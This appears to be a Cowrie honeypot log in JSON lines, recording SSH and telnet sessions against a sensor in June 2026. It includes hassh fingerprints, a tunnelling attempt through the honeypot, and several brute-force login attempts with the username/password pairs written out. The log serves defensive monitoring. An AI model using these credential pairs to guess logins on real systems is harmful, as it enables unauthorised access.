{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa2~\\x8e\\xa8\\xddR\\xba\\xd4\\x80\\xfa\\xbb\\x07\\xbd\\x05\\x97\\x9e\\xd8\\xe25\\xf7\\xf7\\x97D\\xa5R\\xc3\\xd2\\x12\\xc0\\xa8\\xee% .)Li\\x1c\\x0c\\x82O\\x18\\xfa\\x97\\x14\\xbf\\xd8\\x00\\x00\\xde\\x97\\x0f\\xcc\\xaeW\\x9e3\\xd16`\\xa1!\\xf2?\\xc8\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9c\\xb1\\xa9\\xd7\\xb7\\x82\\xbe\\xec\\xe3\\x97{8\\x99@\\xcb3Y\\x1f\\xc9\\x0b\\xbc\\xbdh4\\xf8\\xf1\\x7f\\xdb\\xf0\\xa1ty\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa2~\\x8e\\xa8\\xddR\\xba\\xd4\\x80\\xfa\\xbb\\x07\\xbd\\x05\\x97\\x9e\\xd8\\xe25\\xf7\\xf7\\x97D\\xa5R\\xc3\\xd2\\x12\\xc0\\xa8\\xee% .)Li\\x1c\\x0c\\x82O\\x18\\xfa\\x97\\x14\\xbf\\xd8\\x00\\x00\\xde\\x97\\x0f\\xcc\\xaeW\\x9e3\\xd16`\\xa1!\\xf2?\\xc8\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9c\\xb1\\xa9\\xd7\\xb7\\x82\\xbe\\xec\\xe3\\x97{8\\x99@\\xcb3Y\\x1f\\xc9\\x0b\\xbc\\xbdh4\\xf8\\xf1\\x7f\\xdb\\xf0\\xa1ty\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:56.580699Z","src_ip":"23.175.50.47","session":"edcbe2053c9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:57.640522Z","src_ip":"91.92.40.36","session":"b25767a41789","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"31.6","message":"Connection lost after 31.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:58.524029Z","src_ip":"23.175.50.47","session":"edcbe2053c9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":18844,"dst_ip":"159.203.135.109","dst_port":22,"session":"633d284fbc62","protocol":"ssh","message":"New connection: 91.92.40.36:18844 (159.203.135.109:22) [session: 633d284fbc62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:02.869579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:03.490724Z","src_ip":"91.92.40.36","session":"633d284fbc62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:04.178468Z","src_ip":"91.92.40.36","session":"633d284fbc62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.9860737323761,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:06.522363Z","src_ip":"103.249.87.183","session":"91101851d1fa","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"oracle12345678","message":"login attempt [ubuntu/oracle12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:07.887491Z","src_ip":"91.92.40.36","session":"633d284fbc62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":15592,"dst_ip":"159.203.135.109","dst_port":22,"session":"394baa19da40","protocol":"ssh","message":"New connection: 91.92.40.36:15592 (159.203.135.109:22) [session: 394baa19da40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:08.842195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:09.516176Z","src_ip":"91.92.40.36","session":"394baa19da40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:09.519786Z","src_ip":"91.92.40.36","session":"394baa19da40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:10.035002Z","src_ip":"91.92.40.36","session":"633d284fbc62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian1","password":"debian","message":"login attempt [debian1/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:12.442392Z","src_ip":"91.92.40.36","session":"394baa19da40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:14.015661Z","src_ip":"91.92.40.36","session":"394baa19da40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":44230,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ec1a891f4f0","protocol":"ssh","message":"New connection: 91.92.40.36:44230 (159.203.135.109:22) [session: 1ec1a891f4f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:17.226127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:17.274363Z","src_ip":"91.92.40.36","session":"1ec1a891f4f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:17.398407Z","src_ip":"91.92.40.36","session":"1ec1a891f4f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uztest","password":"uztest","message":"login attempt [uztest/uztest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:18.013155Z","src_ip":"91.92.40.36","session":"1ec1a891f4f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:19.189677Z","src_ip":"91.92.40.36","session":"1ec1a891f4f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":44288,"dst_ip":"159.203.135.109","dst_port":22,"session":"97f32108172c","protocol":"ssh","message":"New connection: 91.92.40.36:44288 (159.203.135.109:22) [session: 97f32108172c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:24.832613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:24.872991Z","src_ip":"91.92.40.36","session":"97f32108172c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:25.029150Z","src_ip":"91.92.40.36","session":"97f32108172c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!qaz@wsx","message":"login attempt [ubuntu/!qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:25.682170Z","src_ip":"91.92.40.36","session":"97f32108172c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:27.124527Z","src_ip":"91.92.40.36","session":"97f32108172c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55618,"dst_ip":"159.203.135.109","dst_port":22,"session":"42d811393223","protocol":"ssh","message":"New connection: 91.92.40.36:55618 (159.203.135.109:22) [session: 42d811393223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:31.194110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:31.914637Z","src_ip":"91.92.40.36","session":"42d811393223","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:31.918601Z","src_ip":"91.92.40.36","session":"42d811393223","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"63.141.242.2","src_port":55449,"dst_ip":"10.17.0.5","dst_port":22,"session":"32c52a08dd98","protocol":"ssh","message":"New connection: 63.141.242.2:55449 (10.17.0.5:22) [session: 32c52a08dd98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:34.031500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:34.048432Z","src_ip":"63.141.242.2","session":"32c52a08dd98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:34.148662Z","src_ip":"63.141.242.2","session":"32c52a08dd98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"info","password":"informix","message":"login attempt [info/informix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:35.219466Z","src_ip":"91.92.40.36","session":"42d811393223","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:35.729896Z","src_ip":"63.141.242.2","session":"32c52a08dd98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:36.802774Z","src_ip":"91.92.40.36","session":"42d811393223","protocol":"ssh"}
